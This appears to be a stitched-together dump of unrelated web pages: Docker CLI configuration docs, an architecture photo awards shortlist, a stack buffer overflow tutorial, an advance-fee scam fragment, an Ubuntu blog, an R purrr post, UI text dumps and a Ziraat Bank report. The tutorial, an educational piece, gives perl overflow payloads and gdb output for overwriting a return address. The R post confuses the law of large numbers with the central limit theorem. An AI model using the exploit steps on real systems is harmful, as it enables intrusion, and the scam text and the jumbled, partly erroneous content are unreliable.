andhttps_proxy
)ftpProxy
(sets the value ofFTP_PROXY
andftp_proxy
)noProxy
(sets the value ofNO_PROXY
andno_proxy
)
Warning: Proxy settings may contain sensitive information (for example, if the proxy requires authentication). Environment variables are stored as plain text in the container’s configuration, and as such can be inspected through the remote API or committed to an image when using
docker commit
.
Once attached to a container, users detach from it and leave it running using
the using CTRL-p CTRL-q
key sequence. This detach key sequence is customizable
using the detachKeys
property. Specify a <sequence>
value for the
property. The format of the <sequence>
is a comma-separated list of either
a letter [a-Z], or the ctrl-
combined with any of the following:
a-z
(a single lowercase alpha character )@
(at sign)[
(left bracket)\\
(two backward slashes)_
(underscore)^
(caret)
Your customization applies to all containers started in with your Docker client.
Users can override your custom or the default key sequence on a per-container
basis. To do this, the user specifies the --detach-keys
flag with the docker
attach
, docker exec
, docker run
or docker start
command.
The property plugins
contains settings specific to CLI plugins. The
key is the plugin name, while the value is a further map of options,
which are specific to that plugin.
Following is a sample config.json
file:
{
"HttpHeaders": {
"MyHeader": "MyValue"
},
"psFormat": "table {{.ID}}\\t{{.Image}}\\t{{.Command}}\\t{{.Labels}}",
"imagesFormat": "table {{.ID}}\\t{{.Repository}}\\t{{.Tag}}\\t{{.CreatedAt}}",
"pluginsFormat": "table {{.ID}}\t{{.Name}}\t{{.Enabled}}",
"statsFormat": "table {{.Container}}\t{{.CPUPerc}}\t{{.MemUsage}}",
"servicesFormat": "table {{.ID}}\t{{.Name}}\t{{.Mode}}",
"secretFormat": "table {{.ID}}\t{{.Name}}\t{{.CreatedAt}}\t{{.UpdatedAt}}",
"configFormat": "table {{.ID}}\t{{.Name}}\t{{.CreatedAt}}\t{{.UpdatedAt}}",
"serviceInspectFormat": "pretty",
"nodesFormat": "table {{.ID}}\t{{.Hostname}}\t{{.Availability}}",
"detachKeys": "ctrl-e,e",
"credsStore": "secretservice",
"credHelpers": {
"awesomereg.example.org": "hip-star",
"unicorn.example.com": "vcbait"
},
"stackOrchestrator": "kubernetes",
"plugins": {
"plugin1": {
"option": "value"
},
"plugin2": {
"anotheroption": "anothervalue",
"athirdoption": "athirdvalue"
}
},
"proxies": {
"default": {
"httpProxy": "http://user:pass@example.com:3128",
"httpsProxy": "http://user:pass@example.com:3128",
"noProxy": "http://user:pass@example.com:3128",
"ftpProxy": "http://user:pass@example.com:3128"
},
"https://manager1.mycorp.example.com:2377": {
"httpProxy": "http://user:pass@example.com:3128",
"httpsProxy": "http://user:pass@example.com:3128"
},
}
}
Experimental features
Experimental features provide early access to future product functionality. These features are intended only for testing and feedback as they may change between releases without warning or can be removed entirely from a future release.
Experimental features must not be used in production environments.
To enable experimental features, edit the config.json
file and set
experimental
to enabled
. The example below enables experimental features
in a config.json
file that already enables a debug feature.
{
"experimental": "enabled",
"debug": true
}
You can also enable experimental features from the Docker Desktop menu. See the Docker Desktop Getting Started page for more information.
Notary
If using your own notary server and a self-signed certificate or an internal
Certificate Authority, you need to place the certificate at
tls/<registry_url>/ca.crt
in your docker config directory.
Alternatively you can trust the certificate globally by adding it to your system’s list of root Certificate Authorities.
Examples
Display help text
To list the help on any command just execute the command, followed by the
--help
option.
$ docker run --help
Usage: docker run [OPTIONS] IMAGE [COMMAND] [ARG...]
Run a command in a new container
Options:
--add-host value Add a custom host-to-IP mapping (host:ip) (default [])
-a, --attach value Attach to STDIN, STDOUT or STDERR (default [])
...
Option types
Single character command line options can be combined, so rather than
typing docker run -i -t --name test busybox sh
,
you can write docker run -it --name test busybox sh
.
Boolean
Boolean options take the form -d=false
. The value you see in the help text is
the default value which is set if you do not specify that flag. If you
specify a Boolean flag without a value, this will set the flag to true
,
irrespective of the default value.
For example, running docker run -d
will set the value to true
, so your
container will run in “detached” mode, in the background.
Options which default to true
(e.g., docker build --rm=true
) can only be
set to the non-default value by explicitly setting them to false
:
$ docker build --rm=false .
Multi
You can specify options like -a=[]
multiple times in a single command line,
for example in these commands:
$ docker run -a stdin -a stdout -i -t ubuntu /bin/bash
$ docker run -a stdin -a stdout -a stderr ubuntu /bin/ls
Sometimes, multiple options can call for a more complex value string as for
-v
:
$ docker run -v /host:/container example/mysql
Note: Do not use the
-t
and-a stderr
options together due to limitations in thepty
implementation. Allstderr
inpty
mode simply goes tostdout
.
Strings and Integers
Options like --name=""
expect a string, and they
can only be specified once. Options like -c=0
expect an integer, and they can only be specified once.


Shortlist Announced for the Architectural Photography Awards 2019
07 Nov 2019, 09:00
The Architectural Photography Awards 2019 has revealed its shortlisted images under 6 categories: Exterior, Interior, Sense of Place, Buildings in Use, Mobile, and Portfolio. Sponsored by Sto and supported by the World Architecture Festival (WAF), this year’s lineup was selected from nearly 2000 entries from 42 countries.
In its eighth year, The Architectural Photography Awards “highlights the expertise of architectural photography and aims to focus on the skill and creativity of the photographer ”. For each one of the 6 categories, 4 entries were chosen to be part of the shortlist. The Mobile category had a theme focused on Shelter, and the Portfolio category had a theme that revolved around Social Housing.
The photographs will be exhibited at WAF in Amsterdam from 4th - 6th December where visitors can vote for the winners, which will be announced during the WAF Gala Dinner on Friday 6th December. The public vote for the Mobile category is open until 12 pm on Friday 6th December. This year, judges were asked to look beyond the architecture, consider the composition, use of scale and the photographers’ sensitivity to the atmosphere. Read on to discover the 4 selected images from each category.
Exterior Category
Generali Tower, Milan, Italy by Zaha Hadid shot by Marco Tagliarino. Image Courtesy of The Architectural Photography Awards 2019
Guardian Art Center, Beijing, China by Büro Ole Scheeren shot by Aurelien Chen. Image Courtesy of The Architectural Photography Awards 2019
China Resources Headquarters, Shenzhen, China by Kohn Pedersen Fox shot by Su Zhewei. Image Courtesy of The Architectural Photography Awards 2019
The Twist Museum, Kistefos Sculpture Park, Jevnaker, Norway by Bjarke Ingels Group shot by Laurian Ghinitoiu. Image Courtesy of The Architectural Photography Awards 2019
Interior Category
The reflection of the main hall in a glass case at the Victoria & Albert Museum, London shot by Thomas Knowles. Image Courtesy of The Architectural Photography Awards 2019
Grundtvig's Church, Copenhagen, Denmark by Peder Jensen-Klint shot by Joris Hoogstede. Image Courtesy of The Architectural Photography Awards 2019
Grundtvig's Church, Copenhagen, Denmark by Peder Jensen-Klint shot by Joris Hoogstede. Image Courtesy of The Architectural Photography Awards 2019
Hill of the Buddha, Makomanai Takino Cemetery Sapporo, Japan by Tadao Ando shot by Vincent Wu. Image Courtesy of The Architectural Photography Awards 2019
Sense of Place Category
The Twist Museum, Kistefos Sculpture Park, Jevnaker, Norway by Bjarke Ingels Group shot by Laurian Ghinitoiu. Image Courtesy of The Architectural Photography Awards 2019
The Museum of Art, Architecture and Technology, Lisbon, Portugal by Amanda Levete shot by Inge Schuster. Image Courtesy of The Architectural Photography Awards 2019
Housing in Irkutsk, Russia shot by Ma ChengRong. Image Courtesy of The Architectural Photography Awards 2019
Aerial view of the Camp Adventure Observation Tower, Gisselfeld Klosters Forest, Denmark by EFFEKT shot by Marco de Groot. Image Courtesy of The Architectural Photography Awards 2019
Buildings in Use Category
An office building in Tokyo, Japan shot by Yi-Hsien Lee. Image Courtesy of The Architectural Photography Awards 2019
The Schmela Haus, Dusseldorf, Germany by Aldo van Eyck shot by Mohammad Almudhhi. Image Courtesy of The Architectural Photography Awards 2019
Skanderbeg Square, Tirana, Albania by 51N4E shot by Laurian Ghinitoiu. Image Courtesy of The Architectural Photography Awards 2019
The Vessel, New York City, USA by Heatherwick Studio shot by Joan Muñoz Arango. Image Courtesy of The Architectural Photography Awards 2019
Portfolio Category
Bairro da Bouça, Porto, Portugal by Álvaro Siza Vieira shot by Claire Tucker. Image Courtesy of The Architectural Photography Awards 2019
Pingdingshan Farmhouse, Pingdingshan, Henang, China by TJAD Original Design Studio shot by Zhang Yong. Image Courtesy of The Architectural Photography Awards 2019
Social housing in Cuba shot by Inge Schuster. Image Courtesy of The Architectural Photography Awards 2019
GHI transformation project - part of the' Cité du Grand Parc' in Bordeaux, France by Lacaton & Vassal, Druot, Hutin shot by Laurian Ghinitoiu. Image Courtesy of The Architectural Photography Awards 2019
Mobile Category
Seoul City Wall Visitor Pavilion, Seoul, Korea by Jo Jinman Architects shot by Jim Kostecky. Image Courtesy of The Architectural Photography Awards 2019
Hill of the Buddha, Makomanai Takino Cemetery Sapporo, Japan by Tadao Ando shot by Vincent Wu. Image Courtesy of The Architectural Photography Awards 2019
Napavilions, Xi'an, China by Geoffrey von Oeyen shot by Tan Xiao. Image Courtesy of The Architectural Photography Awards 2019
Bathing Pavilion Tossols-Basil, Olot, Spain by RCR Arquitectes shot by Tzu Chin Yu. Image Courtesy of The Architectural Photography Awards 2019


All the content on this website, including this post, is intended for educational use only. The techniques and processes presented should only be used against systems you own or have explicit written permission to target. Otherwise, you are breaking the Law - be smart. The author/s of this website will not accept any liability for misuse of this content.
Let's Back Up First
Before we continue let's analyse exactly what happened in the last post. We overwrote a buffer of 10 bytes by supplying an input of length 11 bytes. In doing so we changed the value returned by the check_password function. This altered the program's logic; the program normally logs you in the value returned is not zero. Since we overwrote the Stack with a non zero value for the return value we get logged in.
Let's analyse the Stack frame in more detail.
Function's Stack frame loaded onto the Stack.
Firstly the parameters of the function are pushed to the Stack; in this case our user input (stored in the local variable userpass). This memory segment has a variable length corresponding to the length of out user input. Next, the return address and contents of EBP are written to the Stack. Finally, space is allocated on the Stack for the local variables used by the function; in this case auth (4 bytes), pass_buffer (10 bytes) and actual_pass (10 bytes).
So what happened to the Stack when we overflowed the pass_buffer buffer by inputting a string of length 11. The last byte of our user input overwrote the buffer allocated to pass_buffer and was written into a portion of memory allocated to the auth variable.
Our Stack frame after the strcpy command overflows the pass_buffer buffer.
Now the value of auth is set to “000A” or rather to the decimal value 65. This is what is causing the problem - when auth is returned to main it will have a value of 65 causing the program to log you in.
That's Cool, But What Next?
This is all well and good but what else can we do? What's to stop us from sending 50 bytes to the program and overwrite other stuff on the Stack? These are all the right questions. Let's send a buffer of 50 bytes to application and see what happens.
debug@lbuntu:~/Documents/exploitdev/chapter2/stack$ ./login $(perl -e 'print "A"x50') Segmentation fault (core dumped) debug@lbuntu:~/Documents/exploitdev/chapter2/stack$
The program crashes. But why does this happen? Let's have a look at the Stack after our 50 byte buffer is copied there.
This time we overflow the buffer by 40 bytes
As you can see we have overwritten most of the Stack frame. In particular, we have overwritten the return address with “\x41\x41\x41\x41” or “AAAA”. When the function has executed the program will try to resume execution at “\x41\x41\x41\x41” which is an invalid address. This causes the program to crash.
Let's analyse this in gdb. We set breakpoints before our input is copied into pass_buffer and before the program returns to main.
debug@lbuntu:~/Documents/exploitdev/chapter2/stack$ gdb -q ./login Reading symbols from ./login...done. (gdb) break 10 Breakpoint 1 at 0x60a: file login.c, line 10. (gdb) break 16 Breakpoint 2 at 0x63a: file login.c, line 16. (gdb) run $(perl -e 'print "A"x50') Starting program: /home/debug/Documents/exploitdev/chapter2/stack/login $(perl -e 'print "A"x50') Breakpoint 1, check_password (userpass=0xbffff722 'A' repeats 50 times) at login.c:10 warning: Source file is more recent than executable. 10 strcpy(pass_buffer, userpass); (gdb) x/32xw $esp 0xbffff4b0: 0x00000009 0xbffff6ec 0x6b636168 0x00007265 0xbffff4c0: 0xb7fb0000 0xb7fba000 0x00000000 0x00000000 0xbffff4d0: 0xb7fba3fc 0x00401fc8 0xbffff4f8 0x00400696 0xbffff4e0: 0xbffff722 0xbffff5a4 0xbffff5b0 0x00400656 0xbffff4f0: 0xbffff510 0x00000000 0x00000000 0xb7dfae91 0xbffff500: 0xb7fba000 0xb7fba000 0x00000000 0xb7dfae91 0xbffff510: 0x00000002 0xbffff5a4 0xbffff5b0 0xbffff534 0xbffff520: 0x00000002 0xbffff5a4 0xb7fba000 0xb7fe778a (gdb) info frame Stack level 0, frame at 0xbffff4e0: eip = 0x40060a in check_password (login.c:10); saved eip = 0x400696 called by frame at 0xbffff510 source language c. Arglist at 0xbffff4d8, args: userpass=0xbffff722 'A' repeats 50 times Locals at 0xbffff4d8, Previous frame's sp is 0xbffff4e0 Saved registers: ebx at 0xbffff4d4, ebp at 0xbffff4d8, eip at 0xbffff4dc (gdb)
At our first breakpoint, we see that our buffer has not yet been copied to the Stack as before. We note that the RET address is located at 0xbffff4dc on the Stack (as indicated using the info frame command and viewing the Saved registers). Thus the return address is currently x00400696, which is pointing back to main. Let's continue execution.
(gdb) continue Continuing. Breakpoint 2, check_password ( userpass=0x41414141 error: Cannot access memory at address 0x41414141) at login.c:16 16 return auth; (gdb) x/32xw $esp 0xbffff4b0: 0x00000009 0xbffff6ec 0x6b636168 0x00007265 0xbffff4c0: 0x41410000 0x41414141 0x41414141 0x41414141 0xbffff4d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff4e0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff4f0: 0x41414141 0x00000000 0x00000000 0xb7dfae91 0xbffff500: 0xb7fba000 0xb7fba000 0x00000000 0xb7dfae91 0xbffff510: 0x00000002 0xbffff5a4 0xbffff5b0 0xbffff534 0xbffff520: 0x00000002 0xbffff5a4 0xb7fba000 0xb7fe778a (gdb) info frame Stack level 0, frame at 0xbffff4e0: eip = 0x40063a in check_password (login.c:16); saved eip = 0x41414141 called by frame at 0xbffff4e4 source language c. Arglist at 0xbffff4d8, args: userpass=0x41414141 error: Cannot access memory at address 0x41414141 Locals at 0xbffff4d8, Previous frame's sp is 0xbffff4e0 Saved registers: ebx at 0xbffff4d4, ebp at 0xbffff4d8, eip at 0xbffff4dc (gdb)
This time the program is in trouble. We have overwritten the return address RET with “\x41\x41\x41\x41”. When the function returns to main "\x41\x41\x41\x41", the contents of the RET address, is loaded into EIP. The program then tries to execute instructions at "\x41\x41\x41\x41", a non-sensical address, and crashes.
(gdb) continue Continuing. Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb)
So we can crash a program, so what? Since we can overwrite RET we can control where the program begins executing commands after the function has executed. We can choose exactly what is written into RET and thus gain control of the program's execution.
To demonstrate this let's overwrite RET with “BBBB” or “\x42\x42\x42\x42” in hexadecimal. Since we know the structure of the Stack we can do this. The RET address is at an offset of 26 bytes. This is because pass_buffer is 10 bytes, auth is 4 bytes, EBP is 4 bytes and 8 bytes of data put there by the compiler which gives 26 bytes. We will send 26 As followed by 4 Bs to overwrite RET with BBBB.
debug@lbuntu:~/Documents/exploitdev/chapter2/stack$ gdb -q ./login Reading symbols from ./login...done. (gdb) break 16 Breakpoint 1 at 0x63a: file login.c, line 16. (gdb) run $(perl -e " print 'A'x18 . 'B'x4") Starting program: /home/debug/Documents/exploitdev/chapter2/stack/login $(perl -e " print 'A'x26 . 'B'x4") Breakpoint 1, check_password ( userpass=0xbffff73e 'A' repeats 18 times, "BBBB") at login.c:16 16 return auth; (gdb) x/32xw $esp 0xbffff4d0: 0x00000009 0xbffff708 0x6b636168 0x00007265 0xbffff4e0: 0x41410000 0x41414141 0x41414141 0x41414141 0xbffff4f0: 0x41414141 0x41414141 0x41414141 0x42424242 0xbffff500: 0xbffff73e 0xbffff5c4 0xbffff5d0 0x00400656 0xbffff510: 0xbffff530 0x00000000 0x00000000 0xb7dfae91 0xbffff520: 0xb7fba000 0xb7fba000 0x00000000 0xb7dfae91 0xbffff530: 0x00000002 0xbffff5c4 0xbffff5d0 0xbffff554 0xbffff540: 0x00000002 0xbffff5c4 0xb7fba000 0xb7fe778a (gdb) info frame Stack level 0, frame at 0xbffff500: eip = 0x40063a in check_password (login.c:16); saved eip = 0x42424242 called by frame at 0xbffff500 source language c. Arglist at 0xbffff4f8, args: userpass=0xbffff73e 'A' repeats 18 times, "BBBB" Locals at 0xbffff4f8, Previous frame's sp is 0xbffff500 Saved registers: ebx at 0xbffff4f4, ebp at 0xbffff4f8, eip at 0xbffff4fc (gdb)
We have successfully overwritten RET with 0x42424242! When the program returns from the function the value of RET will be loaded into EIP. This will load 0x42424242 into EIP. The program will then begin executing commands at the memory address in EIP. In our case, the address will be non-sensical and the program will crash. However, we can control the execution flow of the program by specifying the valid address of the next command we want to execute instead of our Bs.
Next time we will force the program to execute code that it did not intend to. We shall not limit ourselves to the instructions available to the program. We will inject our own code into the program in place of our A characters and direct the program back to our code for execution.
References:
Rob Williams, https://medium.com/@rwilliams_74049/simple-linux-x86-buffer-overflow-212a9a34866f
Ars Technica, How Buffer Overflows work: overwriting the return address https://www.youtube.com/watch?v=LkqZ8I2FVuQ


FROM:KRA ROSALINE DAKAR - SENEGAL.  MY FATHER DIED NOVEMBER 2004,BEFORE THE DEATH OF MY HUSBAND HE REVEALED TO ME THAT ABOUT $5 MILLION US DOLLARS HE DEPOSITED IN A SECURITY COMPANY IN DAKAR - SENEGAL .


You need to enable JavaScript to run this app.
We searched far and wide!
We couldn't find anything with that link maybe try returning to
home


Precise Pangolin
After spending whole day moving all my data from Ubuntu partition, I am officially running Ubuntu 12.04 64 bit. Prior to this, I was using Ubuntu 12.04 32 bit which I continuously upgrade from Ubuntu 10.04 ( it’s been 2 years since I decided to use Ubuntu as my main operating system, time flew so fast ). It was running really slow as I have a lot of applications installed ( Rails, Django, Android SDK, Eclipse, Netbeans, etc ).
Basically I am happy with my new “fresh” installation of Ubuntu. Everything seems to run 3-4 faster than before. Booting time only takes around 20 secs from 1-2 minutes, Sublime Text fired up as soon as I clicked it and Chrome jumping smoothly like kangaroo. However, I just realize that I forgot to back up my Thunderbird email account ( damn!). Before, I set up my Thunderbird email account in POP which means that it will delete all the emails in the server. So now I am losing 17 months of emails archive which I have to explain to my boss soon.
So here are my applications line up for my “fresh” OS : * Email Client : Thunderbird. * IDE Text Editor : Sublime Text 2 and Vim. * Web Server : Apache ( I was considering using Nginx, however it will take too much time rewriting all the .htaccess rule into Nginx configuration. I can’t afford that ). * Web Browser : Chrome. * Source Control : Git and SVN. * Music Player : Rhythm box ( stay with default ). * Coming soon…
Next stop ? Installing Windows 7 64 bit and VirtualBox.


AirTale
Tours
About
Contact Us
We're passionate adventurers
We built AirTale because we love to travel and explore places on our own terms.
AirTale uses ready available technology packaged in a beautiful mobile app.
Making every step, every sound and every second spent exploring new places FUN!
The Airtale Team
Filippo
Business Berserker
Orlando
Backend Baklava
Gianluca
Mobile Magician
And a few more behind the scenes...
Product news, Discounts and Updates?
Sign up to get emails directly from our founders:
Submit


10 October
“Kill all humans?” But Why?
Somewhere in my stomach I felt a cold, hard knot. Take stainless steel alloyed with titanium and plate it with three inches of lead.  A bullet wouldn’t pierce it; radiations wouldn’t derange it; an axe wouldn’t break it.
“Let’s go to town,” I said.
They looked at me admiringly. With three hundred almost indestructible androids on the loose I was the big brave hero. I grinned at them and hoped they couldn’t see the sweat on my face. Then I walked over to the Copter and climbed in.
“Coming?” I asked.
Jack was pale under his freckles but Chief Dalton grinned back at me. “We’ll be right behind you, Morrison,” he said.
Behind me! So they could pick up the pieces. I gave them a cocky smile and switched on the engine, full speed.
Carron City is about a mile from the plant. It has about fifty thousand inhabitants. At that moment, though, there wasn’t a soul in the streets. I heard people calling to each other inside their houses, but I didn’t see anyone, human or android. I circled in for a landing, the Police Copter hovering maybe a quarter of a mile back of me. Then, as the wheels touched, half a dozen androids came around the corner. They saw me and stopped, a couple of them backing off the way they had come. But the biggest of them turned and gave them some order that froze them in their tracks, and then he himself wheeled down toward me.


Purrr 0.1 got released a while ago and I noticed a very nice pattern emerge incombination with dataframes for simulation experiments.
Let's simulate the effect of the law of large numbers. You'll notice that I'm using map_dbl
from purrr
to keep the syntax clean.
library(dplyr)
library(purrr)
library(reshape2)
library(ggplot2)
df <- data.frame(
n_100 = 1:2000 %>% map_dbl(~ rnorm(100) %>% mean),
n_200 = 1:2000 %>% map_dbl(~ rnorm(200) %>% mean),
n_300 = 1:2000 %>% map_dbl(~ rnorm(300) %>% mean),
n_1000 = 1:2000 %>% map_dbl(~ rnorm(1000) %>% mean)
)
# checking every column for variance is easy
> df %>% map(var)
n_100 n_200 n_300 n_1000
1 0.01007404 0.005087112 0.003267154 0.0009894314
It feels like the scala api for spark but for the normal R language. We can confirm that we've properly got a good simulation out of this via ggplot.
ggplot() +
geom_histogram(data=df %>% melt, aes(value, fill = variable), binwidth = 0.01) +
facet_grid(variable ~ .) +
ggtitle("see the distribution change as we increase n")
The thing of the law of large numbers is that it does not matter which distribution you use. The mean of the distribution will always converge to a normal distribution. Let's add a layer of abstraction to what we've just done to create many plots of many distributions.
create_df <- function(dist_func, n_means, means){
data.frame(
n_100 = 1:n_means %>% map_dbl(~ dist_func(100) %>% mean),
n_200 = 1:n_means %>% map_dbl(~ dist_func(200) %>% mean),
n_300 = 1:n_means %>% map_dbl(~ dist_func(300) %>% mean),
n_1000 = 1:n_means %>% map_dbl(~ dist_func(1000) %>% mean)
)
}
plot_df <- function(df, distname){
ggplot() +
geom_histogram(data=df %>% melt, aes(value, fill = variable), binwidth = 0.01) +
facet_grid(variable ~ ., scales = "free_y") +
ggtitle(paste('distribution of means from', distname, 'distribution'))
}
list(gauss = rnorm, uniform = runif) %>%
map(~ create_df(., 200)) %>%
map2(names(.), ~plot_df(.x, .y))
Notice that the y-axis differs for each value of $n$. Let's try to improve this code a bit more. It feels like create_df
can have a bit more flexibility.
create_df <- function(dist_func, name, n_means, sample_means){
res <- sample_means %>%
map(~ 1:n_means %>% map_dbl(~ dist_func(.) %>% mean))
names(res) <- sample_means %>%
map_chr(~ paste0('n_', as.character(.)))
res %>%
data.frame %>%
mutate(name = name)
}
plot_all <- function(df){
pltr <- df %>% melt
ggplot() +
geom_histogram(data=pltr %>% arrange(name, variable),
aes(value), binwidth = 0.01) +
facet_wrap(~ name + variable, scales = "free") +
ggtitle('law of large numbers')
}
distributions <- list(
gauss = rnorm,
uniform = runif,
pois = function(x) rpois(x, 2),
exp = rexp
)
distributions %>%
map2(names(.), ~ create_df(.x, .y, 1000, c(100, 200, 500, 1000))) %>%
reduce(rbind) %>%
plot_all
Functions are very powerful and purrr
is a nice addition to R because of it. It allows you to combine functional operations both outside and within dataframes. The combination is very powerful. Just look at how simple it is to create bootstrap samples and with regression samples;
1:2000 %>%
map(~ ChickWeight %>% sample_n(50)) %>%
map_dbl(~ lm(weight ~ Time, data = .) %>% coefficients %>% .[2]) %>%
hist(50)
Notice that although I am sampling means from four different distributions; the distribution of means is always normal. Simulating this with purrr
removes the need for many for loops, keeping things clean. I can see this package going places. It really cleans up much of my code.


This note discusses the Fourier expansion and Discrete Fourier Transform (DFT), giving step by step derivation of the deﬁnition of DFT and its variations such as the discrete sine transform. I also discuss how to relate this to the output of some computer libraries (e.g. FFTW).
The Fast Fourier Transform algorithm (FFT) makes the DFT fast enough to solve many real-life problems, which makes FFT be among the top ten algorithms that have changed the world. The FFT algorithm remained mysterious to me for many years until I read Cooley and Tukey’s original paper, which turns out to be a very concise paper and very easy to follow (details are discussed in Append. A).


#
#
RES in JavaScript
Font size in preview:
28
32
36
40
44
48
52
56
60
64
68
72
Font size in tree:
28
32
36
40
44
48
52
56
60
64
68
72
undo
redo
help
none
hlr
hrl
vlr
vrl
n
amed
–
e
mpty
.
*
+
:
;
s
tack
i
nsert
b
ox
m
odify
!fron
t
!bac
k
!
^
s
w
ap
delete
name:
men
u
string:
type:
Hwtcloseover
Hwtcloseunder
Hwtopenover
Hwtopenunder
cartouche
inb
oval
rectangle
serekh
direction:
none
h
v
rotate:
scale:
xscale:
yscale:
width:
height:
size:
size:
none
inf
x:
y:
sep:
above:
below:
before:
after:
color:
red
black
white
silver
gray
yellow
fuchsia
aqua
olive
purple
teal
lime
blue
maroon
green
navy
mirror:
none
yes
no
fit:
none
yes
no
firm:
fix:
omit:
cover:
none
on
under
opensep:
closesep:
undersep:
oversep:
place:
ts
t
te
s
e
bs
b
be
shade:
none
yes
no
shades:
2
4
8
16
info
Nothing selected.


Load engine
N/A
1 ply, fixed depth
2 ply, fixed depth
3 ply, fixed depth
4 ply, fixed depth
5 ply, fixed depth
6 ply, fixed depth
7 ply, fixed depth
8 ply, fixed depth
9 ply, fixed depth
10 ply, fixed depth
N/A
1 sec, fixed time
2 sec, fixed time
3 sec, fixed time
4 sec, fixed time
5 sec, fixed time
6 sec, fixed time
7 sec, fixed time
8 sec, fixed time
9 sec, fixed time
10 sec, fixed time
Engine plays red
Engine plays black
Analysis mode
Make move


Ziraat Bank’s total investment in its subsidiaries as of the end of 2014
A permission was obtained from BRSA to establish a subsidiary bank in Montenegro, which would be 100% owned by Ziraat Bank.
Ziraat Bank’s corporate subsidiary strategy is to enhance the synergies between domestic subsidiaries operating in various sectors and foreign subsidiaries spread over a wide region to the highest level, and to ensure that each partnership is popular among customers and corporations, and that they are the most profitable corporations in their sectors and achieve sustainable profitability and growth under the Ziraat Finance Group.
Within this framework, the Bank’s primary goal is to command a pioneer subsidiary portfolio which has a high competitive power with a wide product range, channel diversity, competent human resources, easy processes and modern technological infrastructure in all operational sectors and regions, to fulfill all financial needs of Ziraat Group’s customers with the most appropriate value proposition.
In line with these strategies and goals, the Bank always considers organic and inorganic growth alternatives in all countries and sectors that the Bank sees potential based on profitability and efficiency.
The Bank’s main goal is for subsidiaries to have a 10% share Ziraat Finance Group’s total assets and a 15% share in its profit within 5 years.
Ziraat Bank stepped up its efforts to establish a new subsidiary in 2014 with this goal. Ziraat Bank obtained necessary permits from the authorities to establish a participation bank in Turkey with capital of TL equivalent of USD 300 million, and to establish a subsidiary bank in Azerbaijan with capital of Manat 50 million (around USD 64 million). The work on establishing these two banks is expected to be completed in the first half of 2015.
Ziraat Bank obtained permission from the Banking Regulation and Supervision Authority to establish a subsidiary bank in Montenegro, which would be 100% owned by Ziraat Bank. The Bank applied to the Central Bank of Montenegro for a banking licence.
As of the end of 2014, Ziraat Bank’s total investment in its subsidiaries had reached TL 2,027 million, of which TL 708 million had been invested in domestic subsidiaries and TL 1,319 million in foreign subsidiaries.
Capital increases to enhance the capital structures of the Group’s subsidiaries had amounted to TL 131.9 million for domestic subsidiaries and USD 2.3 million for foreign subsidiaries during 2014.
Ziraat Bank International AG
Ziraat Bank International AG has been operating in Germany for 50 years with 134 employees. The Bank has 9 branches in Berlin, Duisburg, Frankfurt, Hamburg, Hanover, Cologne, Munich, Nuremberg and Stuttgart. The Bank also has one representative office in Istanbul. The Bank provides services to corporate and retail customers.
At the end of 2014, Ziraat Bank International AG’s paid-in capital stood at EUR 130 million, with shareholders’ equity of EUR 170 million, total assets of EUR 1,327 million, loans of EUR 1,280 million and deposits of EUR 1,133 million. Loans grew by 57% YoY and the Bank’s net profit came in at EUR 9.4 million.
Ziraat Bank BH d.d.
Ziraat Bank BH d.d. started operations in 1997. The Bank is the first bank in Bosnia Herzegovina to be fully owned by foreign capital.
The Bank provides an entire suite of banking products and services to its corporate and retail banking customers through 28 service units, 37 ATMs, 18,000 credit cards, 16,000 debit cards, and 843 POS devices throughout the country. The Bank had 247 employees at the end of 2014.
As of the end of 2014, Ziraat Bank Bosnia d.d.’s total assets amounted to USD 342 million, with loans of USD 232 million, deposits of USD 215 million and shareholders’ equity of USD 48 million. The Bank wrote a net profit of USD 2.4 million for the year.
Ziraat Bank (Moscow) CJSC
Ziraat Bank (Moscow) CJSC entered operation in Moscow in 1993.
The Bank’s operations are mainly based on corporate banking activities. In 2014, the Bank achieved 17% growth in total assets, 21% in cash loans, 60% in non-cash loans and 125% in its pre-tax profit in Rouble basis.
The Bank commanded USD 60 million in total assets with USD 25 million of loans and a USD 2 million of profit.
Kazakhstan Ziraat International Bank (KZI Bank)
The Kazakhstan-Ziraat International Bank was established in 1993. The Bank was incorporated as the first foreign capital-owned bank in Kazakhstan. Based in Almaaty, the Bank continues to offer services in corporate and retail banking through three branches located in Almaaty, Astana and Shymkent. The Bank plans to open a sub-branch in Almaaty in 2014 and other branches in the cities of Karaganda and Ataru, increasing its number of branches to 7.
As of the end of 2014, the Bank’s total assets amounted to USD 179 million, with shareholders’ equity of USD 103 million and a net profit of USD 9 million for the period. Its return on equity increased from 6% to 9%. The Bank’s loan book was worth USD 125 million in 2014, representing a 17% YoY surge. The value of the Bank’s deposits was realized at USD 74 million.
Turkmen Turkish JSC Bank
The Bank was established in 1993 with the equal participation of Turkmen Turkish Joint Stock Commercial Bank, Ziraat Bank and Dayhan Bank.
The Bank’s branch network was expanded in 2014 to cover all cities in Turkmenistan. The Bank reached an asset size of USD 138.2 million as of the end of 2014. In this period, the Bank achieved 76% growth in its asset size, 48% in its loan volume, 107% in its deposits and 41% in its net profit.
Uzbekistan-Turkish Bank (UTBANK)
The Uzbekistan Turkish Bank (UTBANK) was founded in 1993 in Tashkent by Ziraat Bank and Agrobank (Uzbekistan), with each controlling an equal stake.
Serving its customers in all business segments of banking, UTBANK’s total assets stood at USD 66.6 million at the end of 2014. The Bank’s deposits amounted to USD 19.2 million with shareholders’ equity of USD 26.4 million, while it recorded a net profit of USD 2.1 million in the year.
Ziraat Sigorta increased premium generation by 24% YoY in 2014.
Ziraat Hayat ve Emeklilik had a market share of 18.48% in 2014.
Ziraat Sigorta A.Ş.
Ziraat Sigorta was founded on 11 May 2009, and initiated insurance operations in 2010. The Company succeeded in being a role model in the sector by maintaining its sustainable growth and profitability.
Ziraat Sigorta completed fifth year of activity and maintained its steady development in 2014. Ziraat Sigorta increased premium generation by 24% YoY to TL 703 million.
As of the end of 2014, the Company commanded an asset size of TL 468 million and shareholders’ equity of TL 150 million. The Company’s net profit increased by 18% YoY to TL 65 million.
Ziraat Hayat ve Emeklilik A.Ş.
Ziraat Emeklilik was authorized for incorporation on 2009 and entered operation in the life insurance and personal accident insurance branches at the beginning of 2010. The Company has maintained its leadership position in premium generation for life insurance policies since its foundation. It reached market share of 18.48% and generated premium of TL 606 million as of the end of 2014.
